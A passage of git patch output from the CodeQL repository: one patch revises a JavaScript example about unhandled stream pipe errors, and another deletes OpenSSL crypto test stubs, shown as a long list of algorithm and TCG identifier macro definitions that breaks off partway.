src.asExpr() = this and // This traces to a getter From 7993f7d8c874bbcfd1c9ea3037346cb07f4783cb Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 2 Jun 2025 19:08:33 +0200 Subject: [PATCH 501/535] Update `qhelp` example to more accurately demonstrate flagged cases --- javascript/ql/src/Quality/examples/UnhandledStreamPipe.js | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/Quality/examples/UnhandledStreamPipe.js b/javascript/ql/src/Quality/examples/UnhandledStreamPipe.js index d31d6936f228..95c1661a8b9f 100644 --- a/javascript/ql/src/Quality/examples/UnhandledStreamPipe.js +++ b/javascript/ql/src/Quality/examples/UnhandledStreamPipe.js @@ -2,5 +2,7 @@ const fs = require('fs'); const source = fs.createReadStream('source.txt'); const destination = fs.createWriteStream('destination.txt'); -// Bad: No error handling -source.pipe(destination); +// Bad: Only destination has error handling, source errors are unhandled +source.pipe(destination).on('error', (err) => { + console.error('Destination error:', err); +}); From 8b770bfb4dcdd01104948c408c550d9f8f47ec75 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Mon, 2 Jun 2025 14:00:30 -0400 Subject: [PATCH 502/535] Crypto: Remove old crypto stubs, now part of experimental/stubs. --- cpp/ql/test/stubs/README.md | 4 - .../stubs/crypto/openssl/alg_macro_stubs.h | 3741 ------------- cpp/ql/test/stubs/crypto/openssl/evp_stubs.h | 4986 ----------------- cpp/ql/test/stubs/crypto/openssl/license.txt | 177 - cpp/ql/test/stubs/crypto/openssl/rand_stubs.h | 3 - 5 files changed, 8911 deletions(-) delete mode 100644 cpp/ql/test/stubs/README.md delete mode 100644 cpp/ql/test/stubs/crypto/openssl/alg_macro_stubs.h delete mode 100644 cpp/ql/test/stubs/crypto/openssl/evp_stubs.h delete mode 100644 cpp/ql/test/stubs/crypto/openssl/license.txt delete mode 100644 cpp/ql/test/stubs/crypto/openssl/rand_stubs.h diff --git a/cpp/ql/test/stubs/README.md b/cpp/ql/test/stubs/README.md deleted file mode 100644 index eacd316b95be..000000000000 --- a/cpp/ql/test/stubs/README.md +++ /dev/null @@ -1,4 +0,0 @@ -The stubs in this directory are derived from various open-source projects, and -used to test that the relevant APIs are correctly modelled. Where a disclaimer -or third-party-notice is required, this is included in the top-level directory -for each particular library. \ No newline at end of file diff --git a/cpp/ql/test/stubs/crypto/openssl/alg_macro_stubs.h b/cpp/ql/test/stubs/crypto/openssl/alg_macro_stubs.h deleted file mode 100644 index 3058681d71d7..000000000000 --- a/cpp/ql/test/stubs/crypto/openssl/alg_macro_stubs.h +++ /dev/null @@ -1,3741 +0,0 @@ -# define EVP_PKEY_NONE NID_undef -# define EVP_PKEY_RSA NID_rsaEncryption -# define EVP_PKEY_RSA2 NID_rsa -# define EVP_PKEY_RSA_PSS NID_rsassaPss -# define EVP_PKEY_DSA NID_dsa -# define EVP_PKEY_DSA1 NID_dsa_2 -# define EVP_PKEY_DSA2 NID_dsaWithSHA -# define EVP_PKEY_DSA3 NID_dsaWithSHA1 -# define EVP_PKEY_DSA4 NID_dsaWithSHA1_2 -# define EVP_PKEY_DH NID_dhKeyAgreement -# define EVP_PKEY_DHX NID_dhpublicnumber -# define EVP_PKEY_EC NID_X9_62_id_ecPublicKey -# define EVP_PKEY_SM2 NID_sm2 -# define EVP_PKEY_HMAC NID_hmac -# define EVP_PKEY_CMAC NID_cmac -# define EVP_PKEY_SCRYPT NID_id_scrypt -# define EVP_PKEY_TLS1_PRF NID_tls1_prf -# define EVP_PKEY_HKDF NID_hkdf -# define EVP_PKEY_POLY1305 NID_poly1305 -# define EVP_PKEY_SIPHASH NID_siphash -# define EVP_PKEY_X25519 NID_X25519 -# define EVP_PKEY_ED25519 NID_ED25519 -# define EVP_PKEY_X448 NID_X448 -# define EVP_PKEY_ED448 NID_ED448 - -#define NID_crl_reason 141 -#define NID_invalidity_date 142 -#define NID_hold_instruction_code 430 -#define NID_undef 0 -#define NID_pkcs9_emailAddress 48 -#define NID_crl_number 88 -#define SN_aes_256_cbc "AES-256-CBC" -#define NID_id_it_caCerts 1223 -#define NID_id_it_rootCaCert 1254 -#define NID_id_it_crlStatusList 1256 -#define NID_id_it_certReqTemplate 1225 -#define NID_id_regCtrl_algId 1259 -#define NID_id_regCtrl_rsaKeyLen 1260 -#define NID_pkcs7_signed 22 -#define NID_pkcs7_data 21 -#define NID_ED25519 1087 -#define NID_ED448 1088 -#define SN_sha256 "SHA256" -#define NID_hmac 855 -#define SN_X9_62_prime192v1 "prime192v1" -#define SN_X9_62_prime256v1 "prime256v1" -#define NID_grasshopper_mac NID_kuznyechik_mac -#define SN_grasshopper_mac SN_kuznyechik_mac -#define NID_grasshopper_cfb NID_kuznyechik_cfb -#define SN_grasshopper_cfb SN_kuznyechik_cfb -#define NID_grasshopper_cbc NID_kuznyechik_cbc -#define SN_grasshopper_cbc SN_kuznyechik_cbc -#define NID_grasshopper_ofb NID_kuznyechik_ofb -#define SN_grasshopper_ofb SN_kuznyechik_ofb -#define NID_grasshopper_ctr NID_kuznyechik_ctr -#define SN_grasshopper_ctr SN_kuznyechik_ctr -#define NID_grasshopper_ecb NID_kuznyechik_ecb -#define SN_grasshopper_ecb SN_kuznyechik_ecb -#define NID_id_tc26_wrap_gostr3412_2015_kuznyechik_kexp15 NID_kuznyechik_kexp15 -#define SN_id_tc26_wrap_gostr3412_2015_kuznyechik_kexp15 SN_kuznyechik_kexp15 -#define NID_id_tc26_wrap_gostr3412_2015_magma_kexp15 NID_magma_kexp15 -#define SN_id_tc26_wrap_gostr3412_2015_magma_kexp15 SN_magma_kexp15 -#define NID_id_tc26_cipher_gostr3412_2015_kuznyechik_ctracpkm_omac NID_kuznyechik_ctr_acpkm_omac -#define SN_id_tc26_cipher_gostr3412_2015_kuznyechik_ctracpkm_omac SN_kuznyechik_ctr_acpkm_omac -#define NID_id_tc26_cipher_gostr3412_2015_kuznyechik_ctracpkm NID_kuznyechik_ctr_acpkm -#define SN_id_tc26_cipher_gostr3412_2015_kuznyechik_ctracpkm SN_kuznyechik_ctr_acpkm -#define NID_id_tc26_cipher_gostr3412_2015_magma_ctracpkm_omac NID_magma_ctr_acpkm_omac -#define SN_id_tc26_cipher_gostr3412_2015_magma_ctracpkm_omac SN_magma_ctr_acpkm_omac -#define NID_id_tc26_cipher_gostr3412_2015_magma_ctracpkm NID_magma_ctr_acpkm -#define SN_id_tc26_cipher_gostr3412_2015_magma_ctracpkm SN_magma_ctr_acpkm -#define NID_ML_KEM_1024 1456 -#define LN_ML_KEM_1024 "ML-KEM-1024" -#define SN_ML_KEM_1024 "id-alg-ml-kem-1024" -#define NID_ML_KEM_768 1455 -#define LN_ML_KEM_768 "ML-KEM-768" -#define SN_ML_KEM_768 "id-alg-ml-kem-768" -#define NID_ML_KEM_512 1454 -#define LN_ML_KEM_512 "ML-KEM-512" -#define SN_ML_KEM_512 "id-alg-ml-kem-512" -#define NID_tcg_tr_cat_PublicKey 1453 -#define LN_tcg_tr_cat_PublicKey "Public Key Trait Category" -#define SN_tcg_tr_cat_PublicKey "tcg-tr-cat-PublicKey" -#define NID_tcg_tr_cat_RTM 1452 -#define LN_tcg_tr_cat_RTM "Root of Trust of Measurement Trait Category" -#define SN_tcg_tr_cat_RTM "tcg-tr-cat-RTM" -#define NID_tcg_tr_cat_platformFirmwareUpdateCompliance 1451 -#define LN_tcg_tr_cat_platformFirmwareUpdateCompliance "Platform Firmware Update Compliance Trait Category" -#define SN_tcg_tr_cat_platformFirmwareUpdateCompliance "tcg-tr-cat-platformFirmwareUpdateCompliance" -#define NID_tcg_tr_cat_platformFirmwareSignatureVerification 1450 -#define LN_tcg_tr_cat_platformFirmwareSignatureVerification "Platform Firmware Signature Verification Trait Category" -#define SN_tcg_tr_cat_platformFirmwareSignatureVerification "tcg-tr-cat-platformFirmwareSignatureVerification" -#define NID_tcg_tr_cat_platformHardwareCapabilities 1449 -#define LN_tcg_tr_cat_platformHardwareCapabilities "Platform Hardware Capabilities Trait Category" -#define SN_tcg_tr_cat_platformHardwareCapabilities "tcg-tr-cat-platformHardwareCapabilities" -#define NID_tcg_tr_cat_platformFirmwareCapabilities 1448 -#define LN_tcg_tr_cat_platformFirmwareCapabilities "Platform Firmware Capabilities Trait Category" -#define SN_tcg_tr_cat_platformFirmwareCapabilities "tcg-tr-cat-platformFirmwareCapabilities" -#define NID_tcg_tr_cat_PEN 1447 -#define LN_tcg_tr_cat_PEN "Private Enterprise Number Trait Category" -#define SN_tcg_tr_cat_PEN "tcg-tr-cat-PEN" -#define NID_tcg_tr_cat_attestationProtocol 1446 -#define LN_tcg_tr_cat_attestationProtocol "Attestation Protocol Trait Category" -#define SN_tcg_tr_cat_attestationProtocol "tcg-tr-cat-attestationProtocol" -#define NID_tcg_tr_cat_networkMAC 1445 -#define LN_tcg_tr_cat_networkMAC "Network MAC Trait Category" -#define SN_tcg_tr_cat_networkMAC "tcg-tr-cat-networkMAC" -#define NID_tcg_tr_cat_ISO9000 1444 -#define LN_tcg_tr_cat_ISO9000 "ISO 9000 Trait Category" -#define SN_tcg_tr_cat_ISO9000 "tcg-tr-cat-ISO9000" -#define NID_tcg_tr_cat_FIPSLevel 1443 -#define LN_tcg_tr_cat_FIPSLevel "FIPS Level Trait Category" -#define SN_tcg_tr_cat_FIPSLevel "tcg-tr-cat-FIPSLevel" -#define NID_tcg_tr_cat_componentIdentifierV11 1442 -#define LN_tcg_tr_cat_componentIdentifierV11 "Component Identifier V1.1 Trait Category" -#define SN_tcg_tr_cat_componentIdentifierV11 "tcg-tr-cat-componentIdentifierV11" -#define NID_tcg_tr_cat_CommonCriteria 1441 -#define LN_tcg_tr_cat_CommonCriteria "Common Criteria Trait Category" -#define SN_tcg_tr_cat_CommonCriteria "tcg-tr-cat-CommonCriteria" -#define NID_tcg_tr_cat_genericCertificate 1440 -#define LN_tcg_tr_cat_genericCertificate "Generic Certificate Trait Category" -#define SN_tcg_tr_cat_genericCertificate "tcg-tr-cat-genericCertificate" -#define NID_tcg_tr_cat_RebasePlatformCertificate 1439 -#define LN_tcg_tr_cat_RebasePlatformCertificate "Rebase Platform Certificate Trait Category" -#define SN_tcg_tr_cat_RebasePlatformCertificate "tcg-tr-cat-RebasePlatformCertificate" -#define NID_tcg_tr_cat_DeltaPlatformCertificate 1438 -#define LN_tcg_tr_cat_DeltaPlatformCertificate "Delta Platform Certificate Trait Category" -#define SN_tcg_tr_cat_DeltaPlatformCertificate "tcg-tr-cat-DeltaPlatformCertificate" -#define NID_tcg_tr_cat_PlatformCertificate 1437 -#define LN_tcg_tr_cat_PlatformCertificate "Platform Certificate Trait Category" -#define SN_tcg_tr_cat_PlatformCertificate "tcg-tr-cat-PlatformCertificate" -#define NID_tcg_tr_cat_PEMCertificate 1436 -#define LN_tcg_tr_cat_PEMCertificate "PEM Certificate Trait Category" -#define SN_tcg_tr_cat_PEMCertificate "tcg-tr-cat-PEMCertificate" -#define NID_tcg_tr_cat_SPDMCertificate 1435 -#define LN_tcg_tr_cat_SPDMCertificate "SPDM Certificate Trait Category" -#define SN_tcg_tr_cat_SPDMCertificate "tcg-tr-cat-SPDMCertificate" -#define NID_tcg_tr_cat_DICECertificate 1434 -#define LN_tcg_tr_cat_DICECertificate "DICE Certificate Trait Category" -#define SN_tcg_tr_cat_DICECertificate "tcg-tr-cat-DICECertificate" -#define NID_tcg_tr_cat_IDevIDCertificate 1433 -#define LN_tcg_tr_cat_IDevIDCertificate "IDevID Certificate Trait Category" -#define SN_tcg_tr_cat_IDevIDCertificate "tcg-tr-cat-IDevIDCertificate" -#define NID_tcg_tr_cat_IAKCertificate 1432 -#define LN_tcg_tr_cat_IAKCertificate "IAK Certificate Trait Category" -#define SN_tcg_tr_cat_IAKCertificate "tcg-tr-cat-IAKCertificate" -#define NID_tcg_tr_cat_EKCertificate 1431 -#define LN_tcg_tr_cat_EKCertificate "EK Certificate Trait Category" -#define SN_tcg_tr_cat_EKCertificate "tcg-tr-cat-EKCertificate" -#define NID_tcg_tr_cat_componentFieldReplaceable 1430 -#define LN_tcg_tr_cat_componentFieldReplaceable "Component Field Replaceable Trait Category" -#define SN_tcg_tr_cat_componentFieldReplaceable "tcg-tr-cat-componentFieldReplaceable" -#define NID_tcg_tr_cat_componentRevision 1429 -#define LN_tcg_tr_cat_componentRevision "Component Revision Trait Category" -#define SN_tcg_tr_cat_componentRevision "tcg-tr-cat-componentRevision" -#define NID_tcg_tr_cat_componentLocation 1428 -#define LN_tcg_tr_cat_componentLocation "Component Location Trait Category" -#define SN_tcg_tr_cat_componentLocation "tcg-tr-cat-componentLocation" -#define NID_tcg_tr_cat_componentStatus 1427 -#define LN_tcg_tr_cat_componentStatus "Component Status Trait Category" -#define SN_tcg_tr_cat_componentStatus "tcg-tr-cat-componentStatus" -#define NID_tcg_tr_cat_componentSerial 1426 -#define LN_tcg_tr_cat_componentSerial "Component Serial Trait Category" -#define SN_tcg_tr_cat_componentSerial "tcg-tr-cat-componentSerial" -#define NID_tcg_tr_cat_componentModel 1425 -#define LN_tcg_tr_cat_componentModel "Component Model Trait Category" -#define SN_tcg_tr_cat_componentModel "tcg-tr-cat-componentModel" -#define NID_tcg_tr_cat_componentManufacturer 1424 -#define LN_tcg_tr_cat_componentManufacturer "Component Manufacturer Trait Category" -#define SN_tcg_tr_cat_componentManufacturer "tcg-tr-cat-componentManufacturer" -#define NID_tcg_tr_cat_componentClass 1423 -#define LN_tcg_tr_cat_componentClass "Component Class Trait Category" -#define SN_tcg_tr_cat_componentClass "tcg-tr-cat-componentClass" -#define NID_tcg_tr_cat_platformOwnership 1422 -#define LN_tcg_tr_cat_platformOwnership "Platform Ownership Trait Category" -#define SN_tcg_tr_cat_platformOwnership "tcg-tr-cat-platformOwnership" -#define NID_tcg_tr_cat_platformManufacturerIdentifier 1421 -#define LN_tcg_tr_cat_platformManufacturerIdentifier "Platform Manufacturer Identifier Trait Category" -#define SN_tcg_tr_cat_platformManufacturerIdentifier "tcg-tr-cat-platformManufacturerIdentifier" -#define NID_tcg_tr_cat_platformSerial 1420 -#define LN_tcg_tr_cat_platformSerial "Platform Serial Trait Category" -#define SN_tcg_tr_cat_platformSerial "tcg-tr-cat-platformSerial" -#define NID_tcg_tr_cat_platformVersion 1419 -#define LN_tcg_tr_cat_platformVersion "Platform Version Trait Category" -#define SN_tcg_tr_cat_platformVersion "tcg-tr-cat-platformVersion" -#define NID_tcg_tr_cat_platformModel 1418 -#define LN_tcg_tr_cat_platformModel "Platform Model Trait Category" -#define SN_tcg_tr_cat_platformModel "tcg-tr-cat-platformModel" -#define NID_tcg_tr_cat_platformManufacturer 1417 -#define LN_tcg_tr_cat_platformManufacturer "Platform Manufacturer Trait Category" -#define SN_tcg_tr_cat_platformManufacturer "tcg-tr-cat-platformManufacturer" -#define NID_tcg_tr_ID_PublicKey 1416 -#define LN_tcg_tr_ID_PublicKey "Public Key Trait" -#define SN_tcg_tr_ID_PublicKey "tcg-tr-ID-PublicKey" -#define NID_tcg_tr_ID_PEMCertString 1415 -#define LN_tcg_tr_ID_PEMCertString "PEM-Encoded Certificate String Trait" -#define SN_tcg_tr_ID_PEMCertString "tcg-tr-ID-PEMCertString" -#define NID_tcg_tr_ID_IA5String 1414 -#define LN_tcg_tr_ID_IA5String "IA5String Trait" -#define SN_tcg_tr_ID_IA5String "tcg-tr-ID-IA5String" -#define NID_tcg_tr_ID_UTF8String 1413 -#define LN_tcg_tr_ID_UTF8String "UTF8String Trait" -#define SN_tcg_tr_ID_UTF8String "tcg-tr-ID-UTF8String" -#define NID_tcg_tr_ID_URI 1412 -#define LN_tcg_tr_ID_URI "Uniform Resource Identifier Trait" -#define SN_tcg_tr_ID_URI "tcg-tr-ID-URI" -#define NID_tcg_tr_ID_status 1411 -#define LN_tcg_tr_ID_status "Attribute Status Trait" -#define SN_tcg_tr_ID_status "tcg-tr-ID-status" -#define NID_tcg_tr_ID_RTM 1410 -#define LN_tcg_tr_ID_RTM "Root of Trust for Measurement Trait" -#define SN_tcg_tr_ID_RTM "tcg-tr-ID-RTM" -#define NID_tcg_tr_ID_platformHardwareCapabilities 1409 -#define LN_tcg_tr_ID_platformHardwareCapabilities "Platform Hardware Capabilities Trait" -#define SN_tcg_tr_ID_platformHardwareCapabilities "tcg-tr-ID-platformHardwareCapabilities" -#define NID_tcg_tr_ID_platformFirmwareUpdateCompliance 1408 -#define LN_tcg_tr_ID_platformFirmwareUpdateCompliance "Platform Firmware Update Compliance Trait" -#define SN_tcg_tr_ID_platformFirmwareUpdateCompliance "tcg-tr-ID-platformFirmwareUpdateCompliance" -#define NID_tcg_tr_ID_platformFirmwareSignatureVerification 1407 -#define LN_tcg_tr_ID_platformFirmwareSignatureVerification "Platform Firmware Signature Verification Trait" -#define SN_tcg_tr_ID_platformFirmwareSignatureVerification "tcg-tr-ID-platformFirmwareSignatureVerification" -#define NID_tcg_tr_ID_platformFirmwareCapabilities 1406 -#define LN_tcg_tr_ID_platformFirmwareCapabilities "Platform Firmware Capabilities Trait" -#define SN_tcg_tr_ID_platformFirmwareCapabilities "tcg-tr-ID-platformFirmwareCapabilities" -#define NID_tcg_tr_ID_PEN 1405 -#define LN_tcg_tr_ID_PEN "Private Enterprise Number Trait" -#define SN_tcg_tr_ID_PEN "tcg-tr-ID-PEN" -#define NID_tcg_tr_ID_OID 1404 -#define LN_tcg_tr_ID_OID "Object Identifier Trait" -#define SN_tcg_tr_ID_OID "tcg-tr-ID-OID" -#define NID_tcg_tr_ID_networkMAC 1403 -#define LN_tcg_tr_ID_networkMAC "Network MAC Trait" -#define SN_tcg_tr_ID_networkMAC "tcg-tr-ID-networkMAC" -#define NID_tcg_tr_ID_ISO9000Level 1402 -#define LN_tcg_tr_ID_ISO9000Level "ISO 9000 Level Trait" -#define SN_tcg_tr_ID_ISO9000Level "tcg-tr-ID-ISO9000Level" -#define NID_tcg_tr_ID_FIPSLevel 1401 -#define LN_tcg_tr_ID_FIPSLevel "FIPS Level Trait" -#define SN_tcg_tr_ID_FIPSLevel "tcg-tr-ID-FIPSLevel" -#define NID_tcg_tr_ID_componentIdentifierV11 1400 -#define LN_tcg_tr_ID_componentIdentifierV11 "Component Identifier V1.1 Trait" -#define SN_tcg_tr_ID_componentIdentifierV11 "tcg-tr-ID-componentIdentifierV11" -#define NID_tcg_tr_ID_componentClass 1399 -#define LN_tcg_tr_ID_componentClass "Component Class Trait" -#define SN_tcg_tr_ID_componentClass "tcg-tr-ID-componentClass" -#define NID_tcg_tr_ID_CommonCriteria 1398 -#define LN_tcg_tr_ID_CommonCriteria "Common Criteria Trait" -#define SN_tcg_tr_ID_CommonCriteria "tcg-tr-ID-CommonCriteria" -#define NID_tcg_tr_ID_CertificateIdentifier 1397 -#define LN_tcg_tr_ID_CertificateIdentifier "Certificate Identifier Trait" -#define SN_tcg_tr_ID_CertificateIdentifier "tcg-tr-ID-CertificateIdentifier" -#define NID_tcg_tr_ID_Boolean 1396 -#define LN_tcg_tr_ID_Boolean "Boolean Trait" -#define SN_tcg_tr_ID_Boolean "tcg-tr-ID-Boolean" -#define NID_tcg_tr_registry 1395 -#define LN_tcg_tr_registry "TCG Trait Registries" -#define SN_tcg_tr_registry "tcg-tr-registry" -#define NID_tcg_tr_category 1394 -#define LN_tcg_tr_category "TCG Trait Categories" -#define SN_tcg_tr_category "tcg-tr-category" -#define NID_tcg_tr_ID 1393 -#define LN_tcg_tr_ID "TCG Trait Identifiers" -#define SN_tcg_tr_ID "tcg-tr-ID" -#define NID_tcg_cap_verifiedPlatformCertificate 1392 -#define LN_tcg_cap_verifiedPlatformCertificate "TCG Verified Platform Certificate CA Policy" -#define SN_tcg_cap_verifiedPlatformCertificate "tcg-cap-verifiedPlatformCertificate" -#define NID_tcg_registry_componentClass_disk 1391 -#define LN_tcg_registry_componentClass_disk "Disk Component Class" -#define SN_tcg_registry_componentClass_disk "tcg-registry-componentClass-disk" -#define NID_tcg_registry_componentClass_pcie 1390 -#define LN_tcg_registry_componentClass_pcie "PCIE Component Class" -#define SN_tcg_registry_componentClass_pcie "tcg-registry-componentClass-pcie" -#define NID_tcg_registry_componentClass_dmtf 1389 -#define LN_tcg_registry_componentClass_dmtf "Distributed Management Task Force Registry" -#define SN_tcg_registry_componentClass_dmtf "tcg-registry-componentClass-dmtf" -#define NID_tcg_registry_componentClass_ietf 1388 -#define LN_tcg_registry_componentClass_ietf "Internet Engineering Task Force Registry" -#define SN_tcg_registry_componentClass_ietf "tcg-registry-componentClass-ietf" -#define NID_tcg_registry_componentClass_tcg 1387 -#define LN_tcg_registry_componentClass_tcg "Trusted Computed Group Registry" -#define SN_tcg_registry_componentClass_tcg "tcg-registry-componentClass-tcg" -#define NID_tcg_registry_componentClass 1386 -#define LN_tcg_registry_componentClass "TCG Component Class" -#define SN_tcg_registry_componentClass "tcg-registry-componentClass" -#define NID_tcg_address_bluetoothmac 1385 -#define LN_tcg_address_bluetoothmac "Bluetooth MAC Address" -#define SN_tcg_address_bluetoothmac "tcg-address-bluetoothmac" -#define NID_tcg_address_wlanmac 1384 -#define LN_tcg_address_wlanmac "WLAN MAC Address" -#define SN_tcg_address_wlanmac "tcg-address-wlanmac" -#define NID_tcg_address_ethernetmac 1383 -#define LN_tcg_address_ethernetmac "Ethernet MAC Address" -#define SN_tcg_address_ethernetmac "tcg-address-ethernetmac" -#define NID_tcg_prt_tpmIdProtocol 1382 -#define LN_tcg_prt_tpmIdProtocol "TCG TPM Protocol" -#define SN_tcg_prt_tpmIdProtocol "tcg-prt-tpmIdProtocol" -#define NID_tcg_ce_virtualPlatformBackupService 1381 -#define LN_tcg_ce_virtualPlatformBackupService "Virtual Platform Backup Service" -#define SN_tcg_ce_virtualPlatformBackupService "tcg-ce-virtualPlatformBackupService" -#define NID_tcg_ce_migrationControllerRegistrationService 1380 -#define LN_tcg_ce_migrationControllerRegistrationService "Migration Controller Registration Service" -#define SN_tcg_ce_migrationControllerRegistrationService "tcg-ce-migrationControllerRegistrationService" -#define NID_tcg_ce_migrationControllerAttestationService 1379 -#define LN_tcg_ce_migrationControllerAttestationService "Migration Controller Attestation Service" -#define SN_tcg_ce_migrationControllerAttestationService "tcg-ce-migrationControllerAttestationService" -#define NID_tcg_ce_virtualPlatformAttestationService 1378 -#define LN_tcg_ce_virtualPlatformAttestationService "Virtual Platform Attestation Service" -#define SN_tcg_ce_virtualPlatformAttestationService "tcg-ce-virtualPlatformAttestationService" -#define NID_tcg_ce_relevantManifests 1377 -#define LN_tcg_ce_relevantManifests "Relevant Manifests" -#define SN_tcg_ce_relevantManifests "tcg-ce-relevantManifests" -#define NID_tcg_ce_relevantCredentials 1376 -#define LN_tcg_ce_relevantCredentials "Relevant Credentials" -#define SN_tcg_ce_relevantCredentials "tcg-ce-relevantCredentials" -#define NID_tcg_kp_AdditionalPlatformKeyCertificate 1375 -#define LN_tcg_kp_AdditionalPlatformKeyCertificate "Additional Platform Key Certificate" -#define SN_tcg_kp_AdditionalPlatformKeyCertificate "tcg-kp-AdditionalPlatformKeyCertificate" -#define NID_tcg_kp_AdditionalPlatformAttributeCertificate 1374 -#define LN_tcg_kp_AdditionalPlatformAttributeCertificate "Additional Platform Attribute Certificate" -#define SN_tcg_kp_AdditionalPlatformAttributeCertificate "tcg-kp-AdditionalPlatformAttributeCertificate" -#define NID_tcg_kp_DeltaPlatformKeyCertificate 1373 -#define LN_tcg_kp_DeltaPlatformKeyCertificate "Delta Platform Key Certificate" -#define SN_tcg_kp_DeltaPlatformKeyCertificate "tcg-kp-DeltaPlatformKeyCertificate" -#define NID_tcg_kp_DeltaPlatformAttributeCertificate 1372 -#define LN_tcg_kp_DeltaPlatformAttributeCertificate "Delta Platform Attribute Certificate" -#define SN_tcg_kp_DeltaPlatformAttributeCertificate "tcg-kp-DeltaPlatformAttributeCertificate" -#define NID_tcg_kp_PlatformKeyCertificate 1371 -#define LN_tcg_kp_PlatformKeyCertificate "Platform Key Certificate" -#define SN_tcg_kp_PlatformKeyCertificate "tcg-kp-PlatformKeyCertificate" -#define NID_tcg_kp_AIKCertificate 1370 -#define LN_tcg_kp_AIKCertificate "Attestation Identity Key Certificate" -#define SN_tcg_kp_AIKCertificate "tcg-kp-AIKCertificate" -#define NID_tcg_kp_PlatformAttributeCertificate 1369 -#define LN_tcg_kp_PlatformAttributeCertificate "Platform Attribute Certificate" -#define SN_tcg_kp_PlatformAttributeCertificate "tcg-kp-PlatformAttributeCertificate" -#define NID_tcg_kp_EKCertificate 1368 -#define LN_tcg_kp_EKCertificate "Endorsement Key Certificate" -#define SN_tcg_kp_EKCertificate "tcg-kp-EKCertificate" -#define NID_tcg_algorithm_null 1367 -#define LN_tcg_algorithm_null "TCG NULL Algorithm" -#define SN_tcg_algorithm_null "tcg-algorithm-null" -#define NID_tcg_at_platformConfigUri_v3 1366 -#define LN_tcg_at_platformConfigUri_v3 "Platform Configuration URI Version 3" -#define SN_tcg_at_platformConfigUri_v3 "tcg-at-platformConfigUri-v3" -#define NID_tcg_at_platformConfiguration_v3 1365 -#define LN_tcg_at_platformConfiguration_v3 "Platform Configuration Version 3" -#define SN_tcg_at_platformConfiguration_v3 "tcg-at-platformConfiguration-v3" -#define NID_tcg_at_platformConfiguration_v2 1364 -#define LN_tcg_at_platformConfiguration_v2 "Platform Configuration Version 2" -#define SN_tcg_at_platformConfiguration_v2 "tcg-at-platformConfiguration-v2" -#define NID_tcg_at_platformConfiguration_v1 1363 -#define LN_tcg_at_platformConfiguration_v1 "Platform Configuration Version 1" -#define SN_tcg_at_platformConfiguration_v1 "tcg-at-platformConfiguration-v1" -#define NID_tcg_at_cryptographicAnchors 1362 -#define LN_tcg_at_cryptographicAnchors "TCG Cryptographic Anchors" -#define SN_tcg_at_cryptographicAnchors "tcg-at-cryptographicAnchors" -#define NID_tcg_at_tbbSecurityAssertions_v3 1361 -#define LN_tcg_at_tbbSecurityAssertions_v3 "TCG TBB Security Assertions V3" -#define SN_tcg_at_tbbSecurityAssertions_v3 "tcg-at-tbbSecurityAssertions-v3" -#define NID_tcg_at_previousPlatformCertificates 1360 -#define LN_tcg_at_previousPlatformCertificates "TCG Previous Platform Certificates" -#define SN_tcg_at_previousPlatformCertificates "tcg-at-previousPlatformCertificates" -#define NID_tcg_at_tcgCredentialType 1359 -#define LN_tcg_at_tcgCredentialType "TCG Credential Type" -#define SN_tcg_at_tcgCredentialType "tcg-at-tcgCredentialType" -#define NID_tcg_at_tcgCredentialSpecification 1358 -#define LN_tcg_at_tcgCredentialSpecification "TCG Credential Specification" -#define SN_tcg_at_tcgCredentialSpecification "tcg-at-tcgCredentialSpecification" -#define NID_tcg_at_tbbSecurityAssertions 1357 -#define LN_tcg_at_tbbSecurityAssertions "TBB Security Assertions" -#define SN_tcg_at_tbbSecurityAssertions "tcg-at-tbbSecurityAssertions" -#define NID_tcg_at_tpmSecurityAssertions 1356 -#define LN_tcg_at_tpmSecurityAssertions "TPM Security Assertions" -#define SN_tcg_at_tpmSecurityAssertions "tcg-at-tpmSecurityAssertions" -#define NID_tcg_at_tcgPlatformSpecification 1355 -#define LN_tcg_at_tcgPlatformSpecification "TPM Platform Specification" -#define SN_tcg_at_tcgPlatformSpecification "tcg-at-tcgPlatformSpecification" -#define NID_tcg_at_tpmSpecification 1354 -#define LN_tcg_at_tpmSpecification "TPM Specification" -#define SN_tcg_at_tpmSpecification "tcg-at-tpmSpecification" -#define NID_tcg_at_tpmIdLabel 1353 -#define LN_tcg_at_tpmIdLabel "TPM ID Label" -#define SN_tcg_at_tpmIdLabel "tcg-at-tpmIdLabel" -#define NID_tcg_at_tbbSecurityTarget 1352 -#define LN_tcg_at_tbbSecurityTarget "TBB Security Target" -#define SN_tcg_at_tbbSecurityTarget "tcg-at-tbbSecurityTarget" -#define NID_tcg_at_tbbProtectionProfile 1351 -#define LN_tcg_at_tbbProtectionProfile "TBB Protection Profile" -#define SN_tcg_at_tbbProtectionProfile "tcg-at-tbbProtectionProfile" -#define NID_tcg_at_tpmSecurityTarget 1350 -#define LN_tcg_at_tpmSecurityTarget "TPM Security Target" -#define SN_tcg_at_tpmSecurityTarget "tcg-at-tpmSecurityTarget" -#define NID_tcg_at_tpmProtectionProfile 1349 -#define LN_tcg_at_tpmProtectionProfile "TPM Protection Profile" -#define SN_tcg_at_tpmProtectionProfile "tcg-at-tpmProtectionProfile" -#define NID_tcg_at_securityQualities 1348 -#define LN_tcg_at_securityQualities "Security Qualities" -#define SN_tcg_at_securityQualities "tcg-at-securityQualities" -#define NID_tcg_at_tpmVersion 1347 -#define LN_tcg_at_tpmVersion "TPM Version" -#define SN_tcg_at_tpmVersion "tcg-at-tpmVersion" -#define NID_tcg_at_tpmModel 1346 -#define LN_tcg_at_tpmModel "TPM Model" -#define SN_tcg_at_tpmModel "tcg-at-tpmModel" -#define NID_tcg_at_tpmManufacturer 1345 -#define LN_tcg_at_tpmManufacturer "TPM Manufacturer" -#define SN_tcg_at_tpmManufacturer "tcg-at-tpmManufacturer" -#define NID_tcg_at_platformIdentifier 1344 -#define LN_tcg_at_platformIdentifier "TCG Platform Identifier" -#define SN_tcg_at_platformIdentifier "tcg-at-platformIdentifier" -#define NID_tcg_at_platformConfiguration 1343 -#define LN_tcg_at_platformConfiguration "TCG Platform Configuration" -#define SN_tcg_at_platformConfiguration "tcg-at-platformConfiguration" -#define NID_tcg_at_platformSerial 1342 -#define LN_tcg_at_platformSerial "TCG Platform Serial Number" -#define SN_tcg_at_platformSerial "tcg-at-platformSerial" -#define NID_tcg_at_platformVersion 1341 -#define LN_tcg_at_platformVersion "TCG Platform Version" -#define SN_tcg_at_platformVersion "tcg-at-platformVersion" -#define NID_tcg_at_platformModel 1340 